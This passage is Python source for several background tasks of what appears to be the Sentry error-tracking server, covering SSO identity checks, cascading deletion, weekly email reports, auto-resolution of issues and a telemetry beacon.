                current.retry(exc=exc)
        return wrapped
    return inner






from __future__ import absolute_import, print_function

import logging

from sentry.models import Organization, OrganizationMember
from sentry.tasks.base import instrumented_task

logger = logging.getLogger('sentry.auth')


@instrumented_task(name='sentry.tasks.send_sso_link_emails', queue='auth')
def email_missing_links(organization_id, **kwargs):
    try:
        org = Organization.objects.get(id=organization_id)
    except Organization.DoesNotExist:
        logger.warning(
            'Organization(id=%s) does not exist',
            organization_id,
        )
        return

    member_list = OrganizationMember.objects.filter(
        organization=org,
        flags=~getattr(OrganizationMember.flags, 'sso:linked'),
    )
    for member in member_list:
        member.send_sso_link_email()






"""
sentry.tasks.check_alerts
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, division

import logging
import six

from datetime import timedelta
from django.utils import timezone

from sentry.auth.exceptions import IdentityNotValid
from sentry.models import AuthIdentity, OrganizationMember
from sentry.tasks.base import instrumented_task
from sentry.utils import metrics

logger = logging.getLogger('sentry.auth')

AUTH_CHECK_INTERVAL = 3600


@instrumented_task(name='sentry.tasks.check_auth', queue='auth')
def check_auth(**kwargs):
    """
    Iterates over all accounts which have not been verified in the required
    interval and creates a new job to verify them.
    """
    # TODO(dcramer): we should remove identities if they've been inactivate
    # for a reasonable interval
    now = timezone.now()
    cutoff = now - timedelta(seconds=AUTH_CHECK_INTERVAL)
    identity_list = list(AuthIdentity.objects.filter(
        last_synced__lte=cutoff,
    ))
    AuthIdentity.objects.filter(
        id__in=[i.id for i in identity_list],
    ).update(last_synced=now)
    for identity in identity_list:
        check_auth_identity.apply_async(
            kwargs={'auth_identity_id': identity.id},
            expires=AUTH_CHECK_INTERVAL,
        )


@instrumented_task(name='sentry.tasks.check_auth_identity', queue='auth')
def check_auth_identity(auth_identity_id, **kwargs):
    try:
        auth_identity = AuthIdentity.objects.get(id=auth_identity_id)
    except AuthIdentity.DoesNotExist:
        logger.warning(
            'AuthIdentity(id=%s) does not exist',
            auth_identity_id,
        )
        return

    auth_provider = auth_identity.auth_provider

    try:
        om = OrganizationMember.objects.get(
            user=auth_identity.user,
            organization=auth_provider.organization_id,
        )
    except OrganizationMember.DoesNotExist:
        logger.warning(
            'Removing invalid AuthIdentity(id=%s) due to no organization access',
            auth_identity_id,
        )
        auth_identity.delete()
        return

    prev_is_valid = not getattr(om.flags, 'sso:invalid')

    provider = auth_provider.get_provider()
    try:
        provider.refresh_identity(auth_identity)
    except IdentityNotValid as exc:
        if prev_is_valid:
            logger.warning(
                u'AuthIdentity(id=%s) notified as not valid: %s',
                auth_identity_id,
                six.text_type(exc),
                exc_info=True,
            )
            metrics.incr('auth.identities.invalidated')
        is_linked = False
        is_valid = False
    except Exception as exc:
        # to ensure security we count any kind of error as an invalidation
        # event
        metrics.incr('auth.identities.refresh_error')
        logger.exception(
            u'AuthIdentity(id=%s) returned an error during validation: %s',
            auth_identity_id,
            six.text_type(exc),
        )
        is_linked = True
        is_valid = False
    else:
        is_linked = True
        is_valid = True

    if getattr(om.flags, 'sso:linked') != is_linked:
        setattr(om.flags, 'sso:linked', is_linked)
        setattr(om.flags, 'sso:invalid', not is_valid)
        om.update(flags=om.flags)

    now = timezone.now()
    auth_identity.update(
        last_verified=now,
        last_synced=now,
    )






"""
sentry.tasks.deletion
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from sentry.exceptions import DeleteAborted
from sentry.signals import pending_delete
from sentry.tasks.base import instrumented_task, retry
from sentry.utils.query import bulk_delete_objects

logger = logging.getLogger('sentry.deletions')


@instrumented_task(name='sentry.tasks.deletion.delete_organization', queue='cleanup',
                   default_retry_delay=60 * 5, max_retries=None)
@retry(exclude=(DeleteAborted,))
def delete_organization(object_id, continuous=True, **kwargs):
    from sentry.models import (
        Organization, OrganizationMember, OrganizationStatus, Team, TeamStatus
    )

    try:
        o = Organization.objects.get(id=object_id)
    except Organization.DoesNotExist:
        return

    if o.status == OrganizationStatus.VISIBLE:
        raise DeleteAborted('Aborting organization deletion as status is invalid')

    if o.status != OrganizationStatus.DELETION_IN_PROGRESS:
        o.update(status=OrganizationStatus.DELETION_IN_PROGRESS)
        pending_delete.send(sender=Organization, instance=o)

    for team in Team.objects.filter(organization=o).order_by('id')[:1]:
        logger.info('remove.team', extra={'team_id': team.id, 'organization_id': o.id})
        team.update(status=TeamStatus.DELETION_IN_PROGRESS)
        delete_team(team.id, continuous=False)
        if continuous:
            delete_organization.delay(object_id=object_id, countdown=15)
        return

    model_list = (OrganizationMember,)

    has_more = delete_objects(model_list, relation={'organization': o}, logger=logger)
    if has_more:
        if continuous:
            delete_organization.delay(object_id=object_id, countdown=15)
        return
    o.delete()


@instrumented_task(name='sentry.tasks.deletion.delete_team', queue='cleanup',
                   default_retry_delay=60 * 5, max_retries=None)
@retry(exclude=(DeleteAborted,))
def delete_team(object_id, continuous=True, **kwargs):
    from sentry.models import Team, TeamStatus, Project, ProjectStatus

    try:
        t = Team.objects.get(id=object_id)
    except Team.DoesNotExist:
        return

    if t.status == TeamStatus.VISIBLE:
        raise DeleteAborted('Aborting team deletion as status is invalid')

    if t.status != TeamStatus.DELETION_IN_PROGRESS:
        pending_delete.send(sender=Team, instance=t)
        t.update(status=TeamStatus.DELETION_IN_PROGRESS)

    # Delete 1 project at a time since this is expensive by itself
    for project in Project.objects.filter(team=t).order_by('id')[:1]:
        logger.info('remove.project', extra={'project_id': project.id, 'team_id': t.id})
        project.update(status=ProjectStatus.DELETION_IN_PROGRESS)
        delete_project(project.id, continuous=False)
        if continuous:
            delete_team.delay(object_id=object_id, countdown=15)
        return

    t.delete()


@instrumented_task(name='sentry.tasks.deletion.delete_project', queue='cleanup',
                   default_retry_delay=60 * 5, max_retries=None)
@retry(exclude=(DeleteAborted,))
def delete_project(object_id, continuous=True, **kwargs):
    from sentry.models import (
        Activity, EventMapping, EventUser, Group, GroupAssignee, GroupBookmark,
        GroupEmailThread, GroupHash, GroupMeta, GroupRelease, GroupResolution,
        GroupRuleStatus, GroupSeen, GroupSubscription, GroupSnooze, GroupTagKey,
        GroupTagValue, Project, ProjectBookmark, ProjectKey, ProjectStatus,
        Release, ReleaseFile, SavedSearchUserDefault, SavedSearch, TagKey,
        TagValue, UserReport, ReleaseEnvironment, Environment
    )

    try:
        p = Project.objects.get(id=object_id)
    except Project.DoesNotExist:
        return

    if p.status == ProjectStatus.VISIBLE:
        raise DeleteAborted('Aborting project deletion as status is invalid')

    if p.status != ProjectStatus.DELETION_IN_PROGRESS:
        pending_delete.send(sender=Project, instance=p)
        p.update(status=ProjectStatus.DELETION_IN_PROGRESS)

    # Immediately revoke keys
    ProjectKey.objects.filter(project_id=object_id).delete()

    model_list = (
        Activity, EventMapping, EventUser, GroupAssignee, GroupBookmark,
        GroupEmailThread, GroupHash, GroupRelease, GroupRuleStatus, GroupSeen,
        GroupSubscription, GroupTagKey, GroupTagValue, ProjectBookmark,
        ProjectKey, TagKey, TagValue, SavedSearchUserDefault, SavedSearch,
        UserReport, ReleaseEnvironment, Environment
    )
    for model in model_list:
        has_more = bulk_delete_objects(model, project_id=p.id, logger=logger)
        if has_more:
            if continuous:
                delete_project.delay(object_id=object_id, countdown=15)
            return

    # TODO(dcramer): no project relation so we cant easily bulk
    # delete today
    has_more = delete_objects([GroupMeta, GroupResolution, GroupSnooze],
                              relation={'group__project': p},
                              logger=logger)
    if has_more:
        if continuous:
            delete_project.delay(object_id=object_id, countdown=15)
        return

    has_more = delete_events(relation={'project_id': p.id}, logger=logger)
    if has_more:
        if continuous:
            delete_project.delay(object_id=object_id, countdown=15)
        return

    # Release needs to handle deletes after Group is cleaned up as the foreign
    # key is protected
    model_list = (Group, ReleaseFile, Release)
    for model in model_list:
        has_more = bulk_delete_objects(model, project_id=p.id, logger=logger)
        if has_more:
            if continuous:
                delete_project.delay(object_id=object_id, countdown=15)
            return

    p.delete()


@instrumented_task(name='sentry.tasks.deletion.delete_group', queue='cleanup',
                   default_retry_delay=60 * 5, max_retries=None)
@retry(exclude=(DeleteAborted,))
def delete_group(object_id, continuous=True, **kwargs):
    from sentry.models import (
        EventMapping, Group, GroupAssignee, GroupBookmark, GroupHash, GroupMeta,
        GroupRelease, GroupResolution, GroupRuleStatus, GroupSnooze,
        GroupSubscription, GroupStatus, GroupTagKey, GroupTagValue,
        GroupEmailThread, GroupRedirect, UserReport
    )

    try:
        group = Group.objects.get(id=object_id)
    except Group.DoesNotExist:
        return

    if group.status != GroupStatus.DELETION_IN_PROGRESS:
        group.update(status=GroupStatus.DELETION_IN_PROGRESS)

    bulk_model_list = (
        # prioritize GroupHash
        GroupHash, GroupAssignee, GroupBookmark, GroupMeta, GroupRelease,
        GroupResolution, GroupRuleStatus, GroupSnooze, GroupTagValue,
        GroupTagKey, EventMapping, GroupEmailThread, UserReport, GroupRedirect,
        GroupSubscription,
    )
    for model in bulk_model_list:
        has_more = bulk_delete_objects(model, group_id=object_id, logger=logger)
        if has_more:
            if continuous:
                delete_group.delay(object_id=object_id, countdown=15)
            return

    has_more = delete_events(relation={'group_id': object_id}, logger=logger)
    if has_more:
        if continuous:
            delete_group.delay(object_id=object_id, countdown=15)
        return
    group.delete()


@instrumented_task(name='sentry.tasks.deletion.delete_tag_key', queue='cleanup',
                   default_retry_delay=60 * 5, max_retries=None)
@retry(exclude=(DeleteAborted,))
def delete_tag_key(object_id, continuous=True, **kwargs):
    from sentry.models import (
        EventTag, GroupTagKey, GroupTagValue, TagKey, TagKeyStatus, TagValue
    )

    try:
        tagkey = TagKey.objects.get(id=object_id)
    except TagKey.DoesNotExist:
        return

    if tagkey.status != TagKeyStatus.DELETION_IN_PROGRESS:
        tagkey.update(status=TagKeyStatus.DELETION_IN_PROGRESS)

    bulk_model_list = (
        GroupTagValue, GroupTagKey, TagValue
    )
    for model in bulk_model_list:
        has_more = bulk_delete_objects(model, project_id=tagkey.project_id,
                                       key=tagkey.key, logger=logger)
        if has_more:
            if continuous:
                delete_tag_key.delay(object_id=object_id, countdown=15)
            return

    has_more = bulk_delete_objects(EventTag, project_id=tagkey.project_id,
                                   key_id=tagkey.id, logger=logger)
    if has_more:
        if continuous:
            delete_tag_key.delay(object_id=object_id, countdown=15)
        return

    tagkey.delete()


def delete_events(relation, limit=100, logger=None):
    from sentry.app import nodestore
    from sentry.models import Event, EventTag

    has_more = False
    if logger is not None:
        logger.info('remove.event', extra=relation)

    result_set = list(Event.objects.filter(**relation)[:limit])
    has_more = bool(result_set)
    if has_more:
        # delete objects from nodestore first
        node_ids = set(r.data.id for r in result_set if r.data.id)
        if node_ids:
            nodestore.delete_multi(node_ids)

        event_ids = [r.id for r in result_set]

        # bulk delete by id
        EventTag.objects.filter(event_id__in=event_ids).delete()
        Event.objects.filter(id__in=event_ids).delete()
    return has_more


def delete_objects(models, relation, limit=100, logger=None):
    # This handles cascades properly
    has_more = False
    for model in models:
        if logger is not None:
            logger.info('remove.%s' % model.__name__.lower(), extra=relation)
        for obj in model.objects.filter(**relation)[:limit]:
            obj.delete()
            has_more = True

        if has_more:
            return True
    return has_more






"""
sentry.tasks.activity
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from sentry.utils.safe import safe_execute
from sentry.tasks.base import instrumented_task

logger = logging.getLogger(__name__)


def get_activity_notifiers(project):
    from sentry.plugins.bases.notify import NotificationPlugin
    from sentry.plugins import plugins

    results = []
    for plugin in plugins.for_project(project, version=1):
        if isinstance(plugin, NotificationPlugin):
            results.append(plugin)

    for plugin in plugins.for_project(project, version=2):
        for notifier in (safe_execute(plugin.get_notifiers, _with_transaction=False) or ()):
            results.append(notifier)

    return results


@instrumented_task(
    name='sentry.tasks.activity.send_activity_notifications')
def send_activity_notifications(activity_id):
    from sentry.models import Activity

    try:
        activity = Activity.objects.get(pk=activity_id)
    except Activity.DoesNotExist:
        return

    for notifier in get_activity_notifiers(activity.project):
        notifier.notify_about_activity(activity)






from __future__ import absolute_import

import functools
import itertools
import logging
import operator
import zlib
from collections import namedtuple
from datetime import timedelta
from six.moves import reduce

from django.utils import dateformat, timezone

from sentry import features
from sentry.app import tsdb
from sentry.models import (
    Activity, Group, GroupStatus, Organization, OrganizationStatus, Project,
    Release, TagValue, Team, User, UserOption,
)
from sentry.tasks.base import instrumented_task
from sentry.utils import json, redis
from sentry.utils.dates import floor_to_utc_day, to_datetime, to_timestamp
from sentry.utils.email import MessageBuilder
from sentry.utils.math import mean


date_format = functools.partial(
    dateformat.format,
    format_string="F jS, Y",
)


logger = logging.getLogger(__name__)


def _get_organization_queryset():
    return Organization.objects.filter(
        status=OrganizationStatus.VISIBLE,
    )


def _fill_default_parameters(timestamp=None, rollup=None):
    if timestamp is None:
        timestamp = to_timestamp(floor_to_utc_day(timezone.now()))

    if rollup is None:
        rollup = 60 * 60 * 24 * 7

    return (timestamp, rollup)


def _to_interval(timestamp, duration):
    return (
        to_datetime(timestamp - duration),
        to_datetime(timestamp),
    )


def change(value, reference):
    """
    Calculate the relative change between a value and a reference point.
    """
    if not reference:  # handle both None and divide by zero case
        return None

    return ((value or 0) - reference) / float(reference)


def clean_series(start, stop, rollup, series):
    """
    Validate a series, ensuring that it follows the specified rollup and
    boundaries. The start bound is inclusive, while the stop bound is
    exclusive (similar to the slice operation.)
    """
    start_timestamp = to_timestamp(start)
    stop_timestamp = to_timestamp(stop)

    result = []
    for i, (timestamp, value) in enumerate(series):
        assert timestamp == start_timestamp + rollup * i
        if timestamp >= stop_timestamp:
            break

        result.append((timestamp, value))

    return result


def merge_sequences(target, other, function=operator.add):
    """
    Merge two sequences into a single sequence. The length of the two
    sequences must be equal.
    """
    assert len(target) == len(other), 'sequence lengths must match'
    return type(target)([function(x, y) for x, y in zip(target, other)])


def merge_mappings(target, other, function=lambda x, y: x + y):
    """
    Merge two mappings into a single mapping. The set of keys in both
    mappings must be equal.
    """
    assert set(target) == set(other), 'keys must match'
    return {k: function(v, other[k]) for k, v in target.items()}


def merge_series(target, other, function=operator.add):
    """
    Merge two series into a single series. Both series must have the same
    start and end points as well as the same resolution.
    """
    missing = object()
    results = []
    for x, y in itertools.izip_longest(target, other, fillvalue=missing):
        assert x is not missing and y is not missing, 'series must be same length'
        assert x[0] == y[0], 'series timestamps must match'
        results.append((x[0], function(x[1], y[1])))
    return results


def prepare_project_series((start, stop), project, rollup=60 * 60 * 24):
    resolution, series = tsdb.get_optimal_rollup_series(start, stop, rollup)
    assert resolution == rollup, 'resolution does not match requested value'
    clean = functools.partial(clean_series, start, stop, rollup)
    return merge_series(
        reduce(
            merge_series,
            map(
                clean,
                tsdb.get_range(
                    tsdb.models.group,
                    project.group_set.filter(
                        status=GroupStatus.RESOLVED,
                        resolved_at__gte=start,
                        resolved_at__lt=stop,
                    ).values_list('id', flat=True),
                    start,
                    stop,
                    rollup=rollup,
                ).values(),
            ),
            clean([(timestamp, 0) for timestamp in series]),
        ),
        clean(
            tsdb.get_range(
                tsdb.models.project,
                [project.id],
                start,
                stop,
                rollup=rollup,
            )[project.id],
        ),
        lambda resolved, total: (
            resolved,
            total - resolved,  # unresolved
        ),
    )


def prepare_project_aggregates((_, stop), project):
    # TODO: This needs to return ``None`` for periods that don't have any data
    # (because the project is not old enough) and possibly extrapolate for
    # periods that only have partial periods.
    segments = 4
    period = timedelta(days=7)
    start = stop - (period * segments)

    def get_aggregate_value(start, stop):
        return tsdb.get_sums(
            tsdb.models.project,
            (project.id,),
            start,
            stop,
            rollup=60 * 60 * 24,
        )[project.id]

    return [
        get_aggregate_value(
            start + (period * i),
            start + (period * (i + 1) - timedelta(seconds=1)),
        ) for i in range(segments)
    ]


def trim_issue_list(value):
    return sorted(
        value,
        key=lambda (id, statistics): statistics,
        reverse=True,
    )[:10]


def prepare_project_issue_list(interval, project):
    start, stop = interval

    queryset = project.group_set.exclude(status=GroupStatus.MUTED)

    issue_ids = set()

    # Fetch all new issues.
    issue_ids.update(
        queryset.filter(
            first_seen__gte=start,
            first_seen__lt=stop,
        ).values_list('id', flat=True)
    )

    # Fetch all regressions. This is a little weird, since there's no way to
    # tell *when* a group regressed using the Group model. Instead, we query
    # all groups that have been seen in the last week and have ever regressed
    # and query the Activity model to find out if they regressed within the
    # past week. (In theory, the activity table *could* be used to answer this
    # query without the subselect, but there's no suitable indexes to make it's
    # performance predictable.)
    issue_ids.update(
        Activity.objects.filter(
            group__in=queryset.filter(
                last_seen__gte=start,
                last_seen__lt=stop,
                resolved_at__isnull=False,  # signals this has *ever* been resolved
            ),
            type__in=(
                Activity.SET_REGRESSION,
                Activity.SET_UNRESOLVED,
            ),
            datetime__gte=start,
            datetime__lt=stop,
        ).distinct().values_list('group_id', flat=True)
    )

    rollup = 60 * 60 * 24

    events = tsdb.get_sums(
        tsdb.models.group,
        issue_ids,
        start,
        stop,
        rollup=rollup,
    )

    users = tsdb.get_distinct_counts_totals(
        tsdb.models.users_affected_by_group,
        issue_ids,
        start,
        stop,
        rollup=rollup,
    )

    return (
        len(issue_ids),
        trim_issue_list([(id, (events[id], users[id])) for id in issue_ids]),
    )


def merge_issue_lists(target, other):
    return (
        target[0] + other[0],
        trim_issue_list(target[1] + other[1]),
    )


def trim_release_list(value):
    return sorted(
        value,
        key=lambda (id, count): count,
        reverse=True,
    )[:5]


def prepare_project_release_list((start, stop), project):
    return trim_release_list(
        filter(
            lambda item: item[1] > 0,
            tsdb.get_sums(
                tsdb.models.release,
                Release.objects.filter(
                    project=project,
                    version__in=TagValue.objects.filter(
                        project=project,
                        key='sentry:release',
                        last_seen__gte=start,  # lack of upper bound is intentional
                    ).values_list('value', flat=True),
                ).values_list('id', flat=True),
                start,
                stop,
                rollup=60 * 60 * 24,
            ).items(),
        )
    )


def prepare_project_report(interval, project):
    return (
        prepare_project_series(interval, project),
        prepare_project_aggregates(interval, project),
        prepare_project_issue_list(interval, project),
        prepare_project_release_list(interval, project),
    )


class ReportBackend(object):
    def build(self, timestamp, duration, project):
        return prepare_project_report(
            _to_interval(timestamp, duration),
            project,
        )

    def prepare(self, timestamp, duration, organization):
        """
        Build and store reports for all projects in the organization.
        """
        raise NotImplementedError

    def fetch(self, timestamp, duration, organization, projects):
        """
        Fetch reports for a set of projects in the organization, returning
        reports in the order that they were requested.
        """
        raise NotImplementedError


class DummyReportBackend(ReportBackend):
    def prepare(self, timestamp, duration, organization):
        pass

    def fetch(self, timestamp, duration, organization, projects):
        assert all(project.organization_id == organization.id for project in projects)
        return map(
            functools.partial(
                self.build,
                timestamp,
                duration,
            ),
            projects,
        )


class RedisReportBackend(ReportBackend):
    version = 0

    def __init__(self, cluster, ttl, namespace='r'):
        self.cluster = cluster
        self.ttl = ttl
        self.namespace = namespace

    def __make_key(self, timestamp, duration, organization):
        return '{}:{}:{}:{}:{}'.format(
            self.namespace,
            self.version,
            organization.id,
            int(timestamp),
            int(duration),
        )

    def __encode(self, report):
        return zlib.compress(json.dumps(report))

    def __decode(self, value):
        return json.loads(zlib.decompress(value))

    def prepare(self, timestamp, duration, organization):
        reports = {}
        for project in organization.project_set.all():
            reports[project.id] = self.__encode(
                self.build(timestamp, duration, project),
            )

        if not reports:
            # XXX: HMSET requires at least one key/value pair, so we need to
            # protect ourselves here against organizations that were created
            # but haven't set up any projects yet.
            return

        with self.cluster.map() as client:
            key = self.__make_key(timestamp, duration, organization)
            client.hmset(key, reports)
            client.expire(key, self.ttl)

    def fetch(self, timestamp, duration, organization, projects):
        with self.cluster.map() as client:
            result = client.hmget(
                self.__make_key(timestamp, duration, organization),
                [project.id for project in projects],
            )

        return list(map(self.__decode, result.value))


backend = RedisReportBackend(
    redis.clusters.get('default'),
    60 * 60 * 3,
)


def safe_add(x, y):
    if x is not None and y is not None:
        return x + y
    elif x is not None:
        return x
    elif y is not None:
        return y
    else:
        return None


def merge_reports(target, other):
    return (
        merge_series(
            target[0],
            other[0],
            merge_sequences,
        ),
        merge_sequences(
            target[1],
            other[1],
            safe_add,
        ),
        merge_issue_lists(
            target[2],
            other[2],
        ),
        trim_release_list(target[3] + other[3]),
    )


@instrumented_task(
    name='sentry.tasks.reports.prepare_reports',
    queue='reports.prepare')
def prepare_reports(*args, **kwargs):
    timestamp, duration = _fill_default_parameters(*args, **kwargs)

    organization_ids = _get_organization_queryset().values_list('id', flat=True)
    for organization_id in organization_ids:
        prepare_organization_report.delay(timestamp, duration, organization_id)


@instrumented_task(
    name='sentry.tasks.reports.prepare_organization_report',
    queue='reports.prepare')
def prepare_organization_report(timestamp, duration, organization_id):
    organization = _get_organization_queryset().get(id=organization_id)

    if not features.has('organizations:reports:prepare', organization):
        return

    backend.prepare(timestamp, duration, organization)

    # If an OrganizationMember row doesn't have an associated user, this is
    # actually a pending invitation, so no report should be delivered.
    member_set = organization.member_set.filter(
        user_id__isnull=False,
        user__is_active=True,
    )

    for user_id in member_set.values_list('user_id', flat=True):
        deliver_organization_user_report.delay(
            timestamp,
            duration,
            organization_id,
            user_id,
        )


def fetch_personal_statistics((start, stop), organization, user):
    resolved_issue_ids = Activity.objects.filter(
        project__organization_id=organization.id,
        user_id=user.id,
        type__in=(
            Activity.SET_RESOLVED,
            Activity.SET_RESOLVED_IN_RELEASE,
        ),
        datetime__gte=start,
        datetime__lt=stop,
        group__status=GroupStatus.RESOLVED,  # only count if the issue is still resolved
    ).distinct().values_list('group_id', flat=True)
    return {
        'resolved': len(resolved_issue_ids),
        'users': tsdb.get_distinct_counts_union(
            tsdb.models.users_affected_by_group,
            resolved_issue_ids,
            start,
            stop,
            60 * 60 * 24,
        ),
    }


Duration = namedtuple(
    'Duration', (
        'adjective',  # e.g. "daily" or "weekly",
        'noun',       # relative to today, e.g. "yesterday" or "this week"
    ))

durations = {
    (60 * 60 * 24 * 7): Duration(
        'weekly',
        'this week',
    ),
}


def build_message(timestamp, duration, organization, user, report):
    start, stop = interval = _to_interval(timestamp, duration)

    duration_spec = durations[duration]
    message = MessageBuilder(
        subject=u'{} Report for {}: {} - {}'.format(
            duration_spec.adjective.title(),
            organization.name,
            date_format(start),
            date_format(stop),
        ),
        template='sentry/emails/reports/body.txt',
        html_template='sentry/emails/reports/body.html',
        type='report.organization',
        context={
            'duration': duration_spec,
            'interval': {
                'start': date_format(start),
                'stop': date_format(stop),
            },
            'organization': organization,
            'personal': fetch_personal_statistics(
                interval,
                organization,
                user,
            ),
            'report': to_context(report),
            'user': user,
        },
    )

    message.add_users((user.id,))

    return message


DISABLED_ORGANIZATIONS_USER_OPTION_KEY = 'reports:disabled-organizations'


def user_subscribed_to_organization_reports(user, organization):
    return organization.id not in UserOption.objects.get_value(
        user=user,
        project=None,
        key=DISABLED_ORGANIZATIONS_USER_OPTION_KEY,
        default=[],
    )


class Skipped(object):
    NotSubscribed = object()
    NoProjects = object()


@instrumented_task(
    name='sentry.tasks.reports.deliver_organization_user_report',
    queue='reports.deliver')
def deliver_organization_user_report(timestamp, duration, organization_id, user_id):
    organization = _get_organization_queryset().get(id=organization_id)
    user = User.objects.get(id=user_id)

    if not user_subscribed_to_organization_reports(user, organization):
        logger.debug(
            'Skipping report for %r to %r, user is not subscribed to reports.',
            organization,
            user,
        )
        return Skipped.NotSubscribed

    projects = set()
    for team in Team.objects.get_for_user(organization, user):
        projects.update(
            Project.objects.get_for_user(team, user, _skip_team_check=True),
        )

    if not projects:
        logger.debug(
            'Skipping report for %r to %r, user is not associated with any projects.',
            organization,
            user,
        )
        return Skipped.NoProjects

    message = build_message(
        timestamp,
        duration,
        organization,
        user,
        reduce(
            merge_reports,
            backend.fetch(  # TODO: This should handle missing data gracefully, maybe?
                timestamp,
                duration,
                organization,
                projects,
            ),
        )
    )

    if features.has('organizations:reports:deliver', organization):
        message.send()


IssueList = namedtuple('IssueList', 'count issues')
IssueStatistics = namedtuple('IssueStatistics', 'events users')


def rewrite_issue_list((count, issues), fetch_groups=None):
    # XXX: This only exists for removing data dependency in tests.
    if fetch_groups is None:
        fetch_groups = Group.objects.in_bulk

    instances = fetch_groups([id for id, _ in issues])

    def rewrite((id, statistics)):
        instance = instances.get(id)
        if instance is None:
            logger.debug("Could not retrieve group with key %r, skipping...", id)
            return None
        return (instance, IssueStatistics(*statistics))

    return IssueList(
        count,
        filter(None, map(rewrite, issues)),
    )


Point = namedtuple('Point', 'resolved unresolved')


def to_context(report, fetch_groups=None):
    series, aggregates, issue_list, release_list = report
    series = [(timestamp, Point(*values)) for timestamp, values in series]

    return {
        'series': {
            'points': series,
            'maximum': max(sum(point) for timestamp, point in series),
            'all': sum([sum(point) for timestamp, point in series]),
            'resolved': sum([point.resolved for timestamp, point in series]),
        },
        'comparisons': [
            ('last week', change(aggregates[-1], aggregates[-2])),
            ('last month', change(
                aggregates[-1],
                mean(aggregates) if all(v is not None for v in aggregates) else None,
            )),
        ],
        'issue_list': rewrite_issue_list(
            issue_list,
            fetch_groups,
        ),
    }






from __future__ import absolute_import, print_function

from django.utils import timezone

from sentry.models import Group, GroupSnooze, GroupStatus
from sentry.tasks.base import instrumented_task


@instrumented_task(name='sentry.tasks.clear_expired_snoozes',
                   time_limit=15,
                   soft_time_limit=10)
def clear_expired_snoozes():
    group_list = list(GroupSnooze.objects.filter(
        until__lte=timezone.now(),
    ).values_list('group', flat=True))

    Group.objects.filter(
        id__in=group_list,
        status=GroupStatus.MUTED,
    ).update(
        status=GroupStatus.UNRESOLVED,
    )

    GroupSnooze.objects.filter(
        group__in=group_list,
    ).delete()






from __future__ import absolute_import, print_function

import six

from collections import defaultdict
from datetime import datetime, timedelta
from django.utils import timezone
from time import time

from sentry.models import (
    Activity, Group, GroupStatus, Project, ProjectOption
)
from sentry.tasks.base import instrumented_task

ONE_HOUR = 3600


@instrumented_task(name='sentry.tasks.schedule_auto_resolution',
                   time_limit=75,
                   soft_time_limit=60)
def schedule_auto_resolution():
    options = ProjectOption.objects.filter(
        key__in=['sentry:resolve_age', 'sentry:_last_auto_resolve'],
    )
    opts_by_project = defaultdict(dict)
    for opt in options:
        opts_by_project[opt.project_id][opt.key] = opt.value

    cutoff = time() - ONE_HOUR
    for project_id, options in six.iteritems(opts_by_project):
        if not options.get('sentry:resolve_age'):
            # kill the option to avoid it coming up in the future
            ProjectOption.objects.filter(
                key__in=['sentry:_last_auto_resolve', 'sentry:resolve_age'],
                project=project_id,
            ).delete()
            continue

        if int(options.get('sentry:_last_auto_resolve', 0)) > cutoff:
            continue

        auto_resolve_project_issues.delay(
            project_id=project_id,
            expires=ONE_HOUR,
        )


@instrumented_task(name='sentry.tasks.auto_resolve_project_issues',
                   time_limit=75,
                   soft_time_limit=60)
def auto_resolve_project_issues(project_id, cutoff=None, chunk_size=1000,
                                **kwargs):
    project = Project.objects.get_from_cache(id=project_id)

    age = project.get_option('sentry:resolve_age', None)
    if not age:
        return

    project.update_option('sentry:_last_auto_resolve', int(time()))

    if cutoff:
        cutoff = datetime.utcfromtimestamp(cutoff).replace(tzinfo=timezone.utc)
    else:
        cutoff = timezone.now() - timedelta(hours=int(age))

    queryset = list(Group.objects.filter(
        project=project,
        last_seen__lte=cutoff,
        status=GroupStatus.UNRESOLVED,
    )[:chunk_size])

    might_have_more = len(queryset) == chunk_size

    for group in queryset:
        happened = Group.objects.filter(
            id=group.id,
            status=GroupStatus.UNRESOLVED,
        ).update(
            status=GroupStatus.RESOLVED,
            resolved_at=timezone.now(),
        )

        if happened:
            Activity.objects.create(
                group=group,
                project=project,
                type=Activity.SET_RESOLVED_BY_AGE,
                data={
                    'age': age,
                },
            )

    if might_have_more:
        auto_resolve_project_issues.delay(
            project_id=project_id,
            cutoff=int(cutoff.strftime('%s')),
            chunk_size=chunk_size,
        )






"""
sentry.tasks.beacon
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import json
import logging
import sentry

from datetime import timedelta
from django.conf import settings
from django.utils import timezone
from hashlib import sha1
from uuid import uuid4

from sentry.app import tsdb
from sentry.http import safe_urlopen, safe_urlread
from sentry.tasks.base import instrumented_task
from sentry.debug.utils.packages import get_all_package_versions

BEACON_URL = 'https://getsentry.com/remote/beacon/'

logger = logging.getLogger('beacon')


@instrumented_task(name='sentry.tasks.send_beacon', queue='update')
def send_beacon():
    """
    Send a Beacon to a remote server operated by the Sentry team.

    See the documentation for more details.
    """
    from sentry import options
    from sentry.models import Broadcast, Organization, Project, Team, User

    if not settings.SENTRY_BEACON:
        logger.info('Not sending beacon (disabled)')
        return

    install_id = options.get('sentry:install-id')
    if not install_id:
        logger.info('Generated installation ID: %s', install_id)
        install_id = sha1(uuid4().bytes).hexdigest()
        options.set('sentry:install-id', install_id)

    end = timezone.now()
    events_24h = tsdb.get_sums(
        model=tsdb.models.internal,
        keys=['events.total'],
        start=end - timedelta(hours=24),
        end=end,
    )['events.total']

    payload = {
        'install_id': install_id,
        'version': sentry.get_version(),
        'docker': sentry.is_docker(),
        'admin_email': options.get('system.admin-email'),
        'data': {
            # TODO(dcramer): we'd also like to get an idea about the throughput
            # of the system (i.e. events in 24h)
            'users': User.objects.count(),
            'projects': Project.objects.count(),
            'teams': Team.objects.count(),
            'organizations': Organization.objects.count(),
            'events.24h': events_24h,
        },
        'packages': get_all_package_versions(),
    }

    # TODO(dcramer): relay the response 'notices' as admin broadcasts
    try:
        request = safe_urlopen(BEACON_URL, json=payload, timeout=5)
        response = safe_urlread(request)
    except Exception:
